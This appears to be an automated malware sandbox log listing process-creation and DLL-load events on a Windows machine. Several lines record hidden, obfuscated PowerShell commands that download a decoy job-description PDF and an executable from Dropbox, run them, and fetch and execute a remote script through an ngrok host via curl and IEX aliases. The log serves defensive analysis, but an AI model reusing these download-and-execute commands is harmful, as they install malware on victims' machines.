Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6912 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1357945884.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7932 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\130e969b-e5c7-4340-a2cf-7f225f49c2e1.pdf
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7392 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:6
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2076,i,7269790282786459060,13954884580645098759,262144 /prefetch:3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6904 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Process created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6852 -s 420
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2276 -s 144
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1357945884.bat" "	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2104,i,12697092255008950767,14485644108292061206,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6912 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7932 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7392 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:6
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6904 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\130e969b-e5c7-4340-a2cf-7f225f49c2e1.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2076,i,7269790282786459060,13954884580645098759,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Process created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
